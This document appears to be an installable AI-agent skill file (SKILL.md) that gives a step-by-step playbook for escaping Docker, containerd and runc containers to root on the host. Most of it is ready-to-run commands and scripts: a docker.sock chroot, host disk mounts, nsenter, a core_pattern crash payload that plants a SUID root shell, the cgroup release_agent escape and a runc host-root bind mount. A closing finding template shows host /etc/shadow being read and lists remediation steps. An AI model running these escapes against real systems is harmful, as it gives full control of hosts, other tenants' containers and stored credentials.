exploiting-container-escapes
$
npx mdskill add xalgord/xalgorix/exploiting-container-escapes- After gaining code execution inside a Docker, containerd, or CRI-O container during an authorized engagement - When the container was started with `--privileged`, extra capabilities, or host namespaces - When sensitive host paths or sockets are bind-mounted into the container - When `runc`/`ctr` binaries or a Docker socket are reachable from inside - During Kubernetes pod assessments where the pod's security context is weak
SKILL.md
.github/skills/exploiting-container-escapesView on GitHub ↗
---
name: exploiting-container-escapes
description: Escaping Docker/containerd containers to the host during authorized engagements via privileged-container
abuse (host disk mount, capabilities, nsenter), sensitive host mounts (docker.sock, /proc/sys/kernel/core_pattern,
/proc/sysrq-trigger), the cgroup release_agent technique, and runc config.json bind-mount abuse.
domain: cybersecurity
subdomain: linux-hardening
tags:
- penetration-testing
- linux
- containers
- container-escape
- docker
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Exploiting Container Escapes
## When to Use
- After gaining code execution inside a Docker, containerd, or CRI-O container during an authorized engagement
- When the container was started with `--privileged`, extra capabilities, or host namespaces
- When sensitive host paths or sockets are bind-mounted into the container
- When `runc`/`ctr` binaries or a Docker socket are reachable from inside
- During Kubernetes pod assessments where the pod's security context is weak
## Critical: Techniques Most Often Missed
Operators see "it's a container" and stop. Run the recon block first — one writable socket or proc path is usually a host shell.
- **Mounted Docker/containerd socket = trivial host root.** Spawn a new container mounting host `/`.
- How to CONFIRM: `find / -name docker.sock 2>/dev/null`; then `docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh` gives a host root shell.
- **Privileged container + host block device.** Mount the host disk and chroot.
- How to CONFIRM: `ls -l /dev/sd* /dev/vd* /dev/nvme*` lists host disks; `mount /dev/sda1 /mnt && chroot /mnt sh` reaches the host FS.
- **Writable `/proc/sys/kernel/core_pattern`.** A crash triggers a pipe handler that runs as root on the host.
- How to CONFIRM: `[ -w /proc/sys/kernel/core_pattern ]`; piping a payload via `core_pattern` and crashing a process drops a root SUID shell.
- **CAP_SYS_ADMIN + cgroup v1 = release_agent escape.** No kernel exploit needed.
- How to CONFIRM: `capsh --print | grep sys_admin` and a mountable `cgroup`; the release_agent script runs on the host when the cgroup empties.
- **Host PID namespace + nsenter.** Enter PID 1's namespaces directly.
- How to CONFIRM: `ps -ef` shows host processes; `nsenter -t 1 -m -u -n -i -p /bin/bash` yields a host shell.
- **Reachable `runc`.** Craft a `config.json` that bind-mounts host `/` and run it.
- How to CONFIRM: `runc -help` works; a container with a `/` rbind mount in `config.json` exposes the host root.
## Workflow
### Step 1: Recon — Confirm Which Escape Families Are Viable
```bash
capsh --print # expanded cap set? cap_sys_admin?
grep Seccomp /proc/self/status # Seccomp: 0 = disabled
cat /proc/self/attr/current 2>/dev/null # AppArmor/SELinux confinement gone?
mount | grep -E '/proc|/sys| /host| /mnt| /var' # dangerous kernel FS / host binds
ls -l /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null # host block devices visible?
find / -maxdepth 3 -name '*.sock' 2>/dev/null # runtime sockets
env ; cat /proc/1/cgroup # detect runtime + cgroup layout
# deepce.sh / amicontained give the same picture automatically
```
### Step 2: Abuse a Mounted Runtime Socket
```bash
find / -maxdepth 4 \( -name docker.sock -o -name containerd.sock -o -name crio.sock \) 2>/dev/null
# Docker socket -> new container with host / mounted, then chroot
docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt ubuntu chroot /mnt bash
# containerd
ctr --address /run/containerd/containerd.sock images ls
```
### Step 3: Privileged Container — Mount the Host Disk
```bash
fdisk -l 2>/dev/null ; blkid 2>/dev/null # identify host root partition
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host 2>/dev/null || mount /dev/vda1 /mnt/host
chroot /mnt/host /bin/bash
# Or bind-mount the already-visible host root
mkdir -p /tmp/host && mount --bind / /tmp/host && chroot /tmp/host /bin/bash
```
### Step 4: Host Namespace Entry (nsenter)
```bash
which nsenter
nsenter -t 1 -m -u -n -i -p /bin/bash # needs CAP_SYS_ADMIN + host PID (--pid=host)
ps -ef | head # confirm you see host processes
```
### Step 5: Sensitive Host Mount — core_pattern Host RCE
```bash
[ -w /proc/sys/kernel/core_pattern ] || echo "not writable"
# find the overlay upperdir so the host can read our script
overlay=$(mount | sed -n 's/.*upperdir=\([^,]*\).*/\1/p' | head -n1)
cat > /shell.sh <<'EOF'
#!/bin/sh
cp /bin/sh /tmp/rootsh; chmod u+s /tmp/rootsh
EOF
chmod +x /shell.sh
echo "|$overlay/shell.sh" > /proc/sys/kernel/core_pattern
# crash a process to trigger the pipe handler (runs as root on host)
cat > /tmp/crash.c <<'EOF'
int main(void){ char b[1]; for(int i=0;i<100;i++) b[i]=1; return 0; }
EOF
gcc /tmp/crash.c -o /tmp/crash && /tmp/crash
ls -l /tmp/rootsh
# Other high-value writable paths: /proc/sys/kernel/modprobe, /proc/sysrq-trigger, /proc/kcore (recon)
```
### Step 6: CAP_SYS_ADMIN cgroup v1 release_agent Escape
```bash
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# host path of our container's overlay
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n1)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd <<EOF
#!/bin/sh
ps aux > $host_path/output
EOF
chmod +x /cmd
# trigger: process exits -> empties cgroup -> kernel runs release_agent as root on HOST
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
```
### Step 7: runc config.json Bind-Mount Abuse
```bash
runc -help # runc reachable?
runc spec # generates config.json
# add to the "mounts" array in config.json:
# { "type":"bind","source":"/","destination":"/","options":["rbind","rw","rprivate"] }
mkdir rootfs
runc run demo # root folder is the HOST's /
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **--privileged** | Drops device cgroup limits, seccomp, AppArmor/SELinux; grants all capabilities |
| **Host namespace sharing** | `--pid=host`/`--network=host`; enables nsenter and host process visibility |
| **Runtime socket exposure** | A mounted docker.sock/containerd.sock = full control of the runtime as root |
| **Sensitive host mount** | Bind mounts of `/proc`, `/sys`, `/var`, devices exposing host kernel controls |
| **core_pattern** | Writable `/proc/sys/kernel/core_pattern` runs a pipe handler as root on crash |
| **release_agent** | cgroup v1 + CAP_SYS_ADMIN trick that executes a script on the host |
| **runc config.json** | A bind mount of `/` in the OCI spec exposes the host root filesystem |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **amicontained** | Reports capabilities, seccomp, and namespace/container detection |
| **deepce** | Automated Docker/container enumeration and escape helper |
| **capsh** | Confirm the container's capability set (cap_sys_admin etc.) |
| **nsenter** | Enter host namespaces from a CAP_SYS_ADMIN / host-PID container |
| **docker / ctr** | Drive a mounted runtime socket to launch a host-mounted container |
| **runc** | Run an OCI container with a host-root bind mount |
| **linpeas** | General host/container privesc enumeration |
## Common Scenarios
### Scenario 1: Mounted docker.sock
A CI container bind-mounts `/var/run/docker.sock`. `docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh` returns instant host root.
### Scenario 2: Privileged container
`capsh --print` shows the full cap set and `/dev/sda1` is visible. Mounting it and `chroot` writes an SSH key into the host's `/root/.ssh`.
### Scenario 3: Writable core_pattern
A monitoring sidecar mounts `/proc` writable. Pointing `core_pattern` at an overlay script and crashing a process yields root code execution on the host.
### Scenario 4: CAP_SYS_ADMIN without privileged
A container has `--cap-add=SYS_ADMIN` but is not fully privileged. The cgroup v1 release_agent technique escapes to the host with no kernel exploit.
## Output Format
```
## Container Escape Finding
**Vulnerability**: Container Breakout to Host
**Severity**: Critical
**Container**: ci-runner (image: build:latest)
### Misconfiguration
- /var/run/docker.sock bind-mounted into the container
- capsh --print: full capability set (cap_sys_admin present)
- Seccomp: 0 (disabled)
### Exploitation
$ docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt alpine chroot /mnt sh
# id -> uid=0(root) on the HOST
# cat /etc/shadow (host file) -> readable
### Impact
Full compromise of the container host and every other container on it;
host SSH keys / cloud credentials recoverable.
### Recommendation
1. Never mount the Docker/containerd socket into containers
2. Drop --privileged; use --cap-drop=ALL and add only required capabilities
3. Keep seccomp + AppArmor/SELinux enabled; mount /proc and /sys read-only
4. Avoid bind-mounting host /proc, /var, or block devices
5. Use rootless runtimes / user namespaces and admission policies (PSA, OPA/Gatekeeper)
```